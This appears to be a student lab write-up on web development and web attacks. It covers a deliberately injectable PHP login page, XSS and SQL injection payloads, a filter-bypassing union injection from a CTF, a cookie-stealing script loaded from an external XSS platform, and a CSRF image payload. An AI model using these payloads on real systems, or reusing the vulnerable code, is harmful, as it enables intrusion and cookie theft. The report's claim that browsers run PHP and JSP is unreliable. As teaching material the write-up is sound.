Exp8-Web综合

Exp8 Web综合

一、实践目标

(1)Web前端HTML
   能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
   
(2)Web前端javascipt
   理解JavaScript的基本功能,理解DOM。
   在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
   尝试注入攻击:利用回显用户名注入HTML及JavaScript。
  
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表。

(4)Web后端:编写PHP网页,连接数据库,进行用户认证。

(5)最简单的SQL注入,XSS攻击测试。

(6)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。

二、实践内容

1、Web前端HTML

apache简介

  • Apache HTTPD又可以简称为httpd或者Apache,是Internet使用最广泛的web服务器之一,使用Apache提供的web服务器是由守护进程httpd,通过http协议进行文本传输,默认使用80端口的明文传输方式。

  • 搭建apache的方法:

    • 由于kali自带apache2,所以使用vim /etc/apache2/ports.conf修改Apache的端口文件,将端口改为http对应的80号端口(一般默认80端口)
    • 使用netstat -tupln |grep 80查看80端口是否被占用。如果有,使用kill+进程号杀死该进程或使用kill -s 9 进程号强制杀死进程
    • 使用systemctl start apache2开启Apache服务
    • 使用systemctl stop apache2关闭Apache服务

HTML简介

  • HTML是超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用,HTML 不是一种编程语言,而是一种标记语言 (markup language)。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分和“主体”部分,其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。

GET与POST方法

  • GET和POST是HTTP请求的两种基本方法。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据),数据能够在url中看到。对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
  • Get 方式传输的数据量非常小,一般限制在 2 KB 左右,但是执行效率却比 Post 方法好;而 Post 方式传递的数据量相对较大,它是等待服务器来读取数据,不过也有字节限制,这是为了避免对服务器用大量数据进行恶意攻击。

编写一个含有表单的HTML

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

效果:

image-20210517203953479

2、Web前端javascript

  • 编写JavaScript验证用户名、密码的规则
<script type="text/javascript">
    function checkForm(){	//定义javascript函数名
        if (form1.username.value == null || form1.username.value==""){	//判断表单用户名值是否合法
            alert("请输入用户名");	//弹窗警告
            return false;	//返回值false,阻止表单提交
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){	//判断表单用户名值是否合法
            alert("请输入密码");	//弹窗警告
            return false;	//返回值false,阻止表单提交
        }
        return true;
    }
</script>

html完整代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="userpwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
</div>

</body>
</html>

<script type="text/javascript">
    function checkForm(){
        if (form1.username.value == null || form1.username.value==""){
            alert("请输入用户名");
            return false;
        }
        if (form1.userpwd.value == null || form1.userpwd.value==""){
            alert("请输入密码");
            return false;
        }
        return true;
    }
</script>
  • 在用户点击登陆按钮后回显“欢迎+输入的用户名”

写一个用于接收用户登陆数据的index.php文件:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['username'];?></h1>	//将接收到的username数据打印在页面中
</body>
</html>

效果:

image-20210517204953252

  • 尝试注入攻击

方法:登陆时将用户名改为<script>alert("hack!")</script>,使页面弹窗。

image-20210517205355804

image-20210517205410437

3、Web后端MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

  • 安装mysql:新版kali自带mysql,如果想要安装在win10,可以参考:windows10上安装mysql(详细步骤)

  • 启动mysql:输入systemctl start mysql

  • 建库

    • 输入mysql指令,进入mysql数据库中。

    • 输入建库指令:(例如:CREATE DATABASE CTF;)

      CREATE DATABASE [IF NOT EXISTS] <数据库名>
      [[DEFAULT] CHARACTER SET <字符集名>] 
      [[DEFAULT] COLLATE <校对规则名>];
      
    • 输入创建用户指令:CREATE USER 'student'@'localhost' IDENTIFIED BY '20181221';

      CREATE USER 'username'@'host' IDENTIFIED BY 'password';
      
      username:你将创建的用户名
      host:指定该用户在哪个主机上可以登陆,如果是本地用户可用localhost,如果想让该用户可以从任意远程主机登陆,可以使用通配符%
      password:该用户的登陆密码,密码可以为空,如果为空则该用户可以不需要密码登陆服务器
      
    • 修改密码:

    方法1: 用SET PASSWORD命令 
    首先登录MySQL。 
    运行--->输入 cmd 回车
    登陆:mysql -u root  -p1234
    格式:mysql> set password for 用户名@localhost = password('新密码'); 
    例子:mysql> set password for root@localhost = password('123'); 
    退出:mysql> quit
                 
    
    方法2:用mysqladmin 
    运行--->输入 cmd 回车
    登陆:mysql -u root  -p1234
    格式:mysqladmin -u用户名 -p旧密码 password 新密码 
    例子:mysqladmin -uroot -p123456 password 123 
    退出:mysql> quit
    
    方法3:用UPDATE直接编辑user表 
    首先登录MySQL。 
    运行--->输入 cmd 回车
    登陆:mysql -u root  -p1234
               mysql> use mysql; 
               mysql> update user set password=password('123') where user='root' and host='localhost'; 
               mysql> flush privileges; 
    退出:mysql> quit
    
    方法4:在忘记root密码的时候,可以这样 
    以windows为例: 
    1. 关闭正在运行的MySQL服务。 
    2. 打开DOS窗口,转到mysql\bin目录。 
    3. 输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。 
    4. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),转到mysql\bin目录。 
    5. 输入mysql回车,如果成功,将出现MySQL提示符 >。 
    6. 连接权限数据库: use mysql; 。 
    6. 改密码:update user set password=password("123") where user="root";(别忘了最后加分号) 。 
    7. 刷新权限(必须步骤):flush privileges; 。 
    8. 退出 quit。 
    9. 注销系统,再进入,使用用户名root和刚才设置的新密码123登录。
    
    • 建表:
    CREATE TABLE 表名称
    (
    列名称1 数据类型,
    列名称2 数据类型,
    列名称3 数据类型,
    ....
    )
    
    例如:
    CREATE TABLE IF NOT EXISTS `user`(
       `id` INT UNSIGNED AUTO_INCREMENT,
       `username` VARCHAR(100) NOT NULL,
       `passwd` VARCHAR(40) NOT NULL,
       `flag` VARCHAR(40) NOT NULL,
       PRIMARY KEY ( `id` )
    )ENGINE=InnoDB DEFAULT CHARSET=utf8;
    

image-20210517211148112

4、Web后端:编写PHP网页,连接数据库,进行用户认证

  • 编写PHP网页,连接数据库
<?php
$con=mysqli_connect("127.0.0.1","student","20181221","CTF");
if (!$con)
{
    die("Connection failed: " . mysqli_connect_error());
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<style type="text/css">
    .divForm{
        position: absolute;/*绝对定位*/
        width: 300px;
        height: 200px;

        text-align: center;/*(让div中的内容居中)*/
        top: 50%;
        left: 50%;
        margin-top: -200px;
        margin-left: -150px;
    }
</style>
<body>
<div class="divForm">
    <h1 align="center">登陆界面</h1>
    <form name="form1" method="post" action="easy_sql.php">
        <table border = "0">
            <tr>
                <td>用户名:</td>
                <td><input type="text" name="username" value="" /></td>
            </tr>
            <tr>
                <td>密&nbsp&nbsp&nbsp&nbsp码:</td>
                <td><input type="password" name="passwd" value="" /></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
            </tr>
        </table>
    </form>
    <?php
    $username=$_POST["username"];
    $passwd=$_POST["passwd"];
    if($username&&$passwd) {
        $result = mysqli_query($con, "select * from user where username=$username and passwd=$passwd");
        $row = mysqli_fetch_array($result);
        if ($row) {
            echo "welcome!".$row['username'];
        } else {
            echo $username."是hacker!!!";
        }
    }
    ?>
</div>
</body>
</html>

image-20210518142931039

  • 进行用户认证,输入不存在的用户名和密码。

image-20210518143109594

  • 输入正确的用户名和密码进行登陆。

image-20210518145933241

5、最简单的SQL注入,XSS攻击测试

SQL注入

在用户名输入1 or 1=1#,密码随便输

image-20210518150301146

结果:image-20210518150330143

XSS攻击

在用户名输入<script>alert(1)</script>,密码随便输

image-20210518150508741

6、选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

这里推荐使用i春秋平台,和CTFHUB平台网址是:i春秋 CTFHUB

SQL注入

image-20210518184750996

打开页面提示了flag{在数据库中},注入点在?id=

image-20210518194147592

fuzz发现过滤了and、or、select、=、>、<等字符,但是可以用<>绕过

image-20210518194213315

输入1 o<>rder by 数字#判断字段数,发现字段数为3。

image-20210518194408318

输入1 union sel<>ect 1,2,3#,发现回显字段为2

image-20210518194520640

输入1 union sel<>ect 1,database(),3#查询数据库名

image-20210518194628467

输入1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#查询数据库中的表名

image-20210518195152683

输入1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#查询info表中的字段名

image-20210518195755983

输入1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#,获取flag数据

image-20210518195827021

XSS

image-20210518211140138

image-20210518211119123

打开环境看到一个页面,会将输入的名字显示到页面中,我们输入<script>alert(1)</script>成功弹窗。

image-20210518211304183

经过测试,第二个输入框输入URL时,返回SUCCESS,猜测在后台进行访问。

image-20210518211442261

尝试使用XSS Platform,在第一个框中输入包含脚本的网址:<sCRiPt sRC=//xss.pt/Sqg3></sCrIpT>。通过第二个框,访问包含了XSS脚本的本页面URL:

image-20210518211855522

在XSS平台上可以看到已经获取到了cookie中的flag信息。

image-20210518211928627

CSRF

这里我用服务器搭了一个WebGoat平台,有需要的同学可以登陆进行实验(需要连接内网):WebGoat

  • 首先,选择Cross Site Request Forgery (CSRF),目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在这里,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。我们可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。

image-20210518222509960

  • 构造payload<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

image-20210518223453081

  • 提交之后访问20181221,可以看到出现了一个勾,说明已经完成了CSRF攻击

image-20210518223524398

三、实践总结与体会

基础问题回答

1.什么是表单

  • 表单对于用户而言是数据的录入和提交的界面,对于网站而言获取用户信息的途径,在网页中主要负责数据采集功能。

  • 表单的基本组成部分:

表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。

表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。

表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

2.浏览器可以解析运行什么语言

​ 浏览器可以解析运行HTML、JavaScript、PHP、ASP、JSP等语言。

3.WebServer支持哪些动态语言

​ 支持php、asp.net、jsp、python等动态语言

4.防范注入攻击的方法有哪些

1.采用预编译语句集,避免使用解释程序,防止被非法执行命令。

2.及时更新软件和系统版本,防止被最新的漏洞攻击。

3.避免出现一些详细的错误消息,使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、规则等。

4.使用专业的漏洞扫描工具,如Acunetix的Web漏洞扫描程序等。

5.要在Web应用程序开发过程的所有阶段实施代码的安全检查,在部署Web应用之前实施渗透测试。

实验体会

​ 本次实验是关于WEB综合应用的各种操作,在WEB的综合应用方向,有很多需要学习的知识点,单是实验中的这几种漏洞都有许多不同的利用方法和姿势,更别提其他更多的漏洞。WEB安全是很重要的一个方向,要想做好安全,需要学习更多的知识。

posted @ 2021-05-19 20:47  seven昔年  阅读(300)  评论(1编辑  收藏  举报